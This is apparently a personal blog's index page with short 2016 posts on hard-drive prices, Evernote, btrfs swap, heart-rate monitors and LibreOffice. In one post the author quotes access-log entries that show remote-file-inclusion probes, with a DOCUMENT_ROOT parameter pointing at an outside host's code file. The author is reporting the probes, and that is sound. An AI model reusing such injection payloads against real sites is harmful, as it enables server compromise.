Autarchy of the Private Cave

Tiny bits of bioinformatics, [web-]programming etc

    WD Red price per terabyte in Europe in May 2016

    18th May 2016

    Prices were collected on May 18th, 2016, from amazon.de

    Price per terabyte of WD Red HDDs

    Capacity, TB
    Price, EUR
    EUR/TB
    625242
    520841.6
    415839.5
    311638.(6)

    Posted in Comparison, Hardware | No Comments »

    Streptomyces morphogenesis regulation: overview presentation

    13th May 2016

    Note: this post is just a placeholder/draft, it will be extended later. But it can already be useful ;)
    Read the rest of this entry »

    Posted in Science | No Comments »

    Evernote web-interface beta: how to fix: saved searches are crossed out and do not work

    9th May 2016

    Another symptom is a message along the lines of

    the notebook you are searching in has been moved or renamed since the saved search was created

    (which is not true).

    I had this problem, and found a solution.

    Go to your Evernote on a client where you can edit saved searches (Windows for me),
    edit all the searches, and make sure that notebook name is quoted in the search (and also, possibly, with all proper letter cases).

    I found this solution by first creating a search from the web-beta interface, it looked like this: notebook:"Mynotebook" tag:1-now
    All the crossed-out searches (despite working totally fine on Windows) looked like this: notebook:Mynotebook tag:1-now
    or even like this (note the lower-case 1st letter of the notebook name): notebook:mynotebook tag:1-now.

    After editing saved searches and synchronizing, they all appear (and work) just fine in the beta web-interface.

    If you cannot edit your searches right now, there is another workaround: all the saved searches work fine for me from the Shortcuts menu (a star in the left panel).

    Hope this helps!

    Posted in how-to, Notepad, Software, Web | No Comments »

    How to: easily add swap partition to a live system on btrfs

    14th April 2016

    Recently I had a need to add a swap file to my Debian installation.
    However, I am now using btrfs, and – as with any other COW filesystem – it is not possible to simply create a swap file and use it.
    There are workarounds (creating a file with a COW attribute removed, and then loop-mounting it), but I just did not like them.

    So I have decided to add a swap partition.
    It worked amazingly (and very easily), there was even no need to reboot – at all.
    I still did restart, just to make sure the system is bootable – and all was perfectly fine.

    My initial setup is very simple: a single /dev/sda1 partition on the /dev/sda disk, fully used by btrfs.
    Different important paths/mountpoints are btrfs subvolumes, using flat hierarchy.
    For this example, let us assume that /dev/sda (and /dev/sda1) is 25GB large, and that I want to add a 2GB swap /dev/sda2 after /dev/sda1.

    Brief explanation before we start:

    1. shrink btrfs filesystem by more than 2GB;
    2. shrink btrfs partition by 2GB;
    3. create new 2GB partition for the swap;
    4. resize btrfs filesystem to full size of its new-size partition;
    5. initialize swap and turn it on.

    Here are the very easy steps! Just make sure you do not make mistakes anywhere ;)
    Read the rest of this entry »

    Posted in *nix, how-to | No Comments »

    Yandex probing for vulnerabilities in .UA domains?

    11th April 2016

    Here is a recent entry from my web-server’s access log:

    bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

    Client’s IP 130.193.51.57 does belong to Yandex network range.

    So…

    • Had Yandex started looking for vulnerabilities in the web-sites it scans?
    • Does it only look for vulnerabilities in the .UA web-sites/domains?
    • Does Yandex really use a Korean web-site to host malicious code?

    In fact, there are more entries like that one, also from one of Yandex IPs:

    bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
    bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

    I can see 3 explanations, and all of them are bad for Yandex:

    • Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
    • some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
    • there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.

    Posted in Misc, Web | No Comments »

    Choosing a budget heart-rate monitor for an amateur/casual runner

    26th March 2016

    Beurer PM 25Sigma PC 25.10Polar FT60FPolar M400

    Since 2014 I am participating in a local 5km mass-run (with over 15k participants). My time is between nothing special and fairly good. I will run this year as well.

    Previously, I did not train systematically. I would start only when it was comfortably warm (mid-late April), running 4-6km 1-3 times a week.
    I would also stop training very soon after the run, and definitely stop if it was getting colder (early October).
    After every winter, it actually felt like I am starting my training from scratch.

    Eventually, I have adopted an 18-session training regimen, which I found to be very easy for me, and also very efficient.
    I had also tried to keep training for longer after the run (which is in summer).

    This year, thanks to highly-enthusiastic co-workers, we started light jogging already in January.
    One of my co-workers has a nearly-full set of gadgets, including a heart-rate monitor, and was keeping his pulse under a certain threshold.
    I have only used a very basic Xiaomi Mi Band fitness/sleep tracker before, and got interested in a more quantified self.
    After some reading, I have decided to buy a heart-rate monitor.

    Here are my requirements for a heart-rate monitor:

    • should measure heart-rate well; based on some reading, I’d prefer to have a chest strap: optical pulse measuring is a tad less precise, it may work worse with hairy (man’s) hands, and (for now) I only plan measuring my heart rate when I’m actually running/bicycling, not all day long;
    • should be convenient to use – a wrist display is fine, but carrying a smartphone during a run isn’t;
    • should not be expensive: I do not know yet how useful it will be to me, so I do not want to spend more than 150 EUR on it, so the likes of Polar V800 are, unfortunately, outside the scope of my comparison…

    Read the rest of this entry »

    Posted in Notepad, Welfare | No Comments »

    How to: export only notes to PDF from LibreOffice Impress 5

    28th February 2016

    If you want to export Notes to a PDF from LibreOffice Impress 5,
    and dutifully set the appropriate checkbox in PDF export dialog,
    then you will get all slides twice: first just all the slides as with usual PDF export, and then all the Notes pages.

    There is an easy solution to get Notes-only without editing the PDF.

    If you have a PDf printer installed (most Linux distributions, and Windows 10), just do File -> Print from Impress,
    then under the Print sub-header choose Notes from the Document drop-down (see picture).
    Make sure to set the proper paper format for the PDF printer (A4 in my case).
    Then print, and save the resulting PDF.
    Read the rest of this entry »

    Posted in how-to, Notepad, Software | No Comments »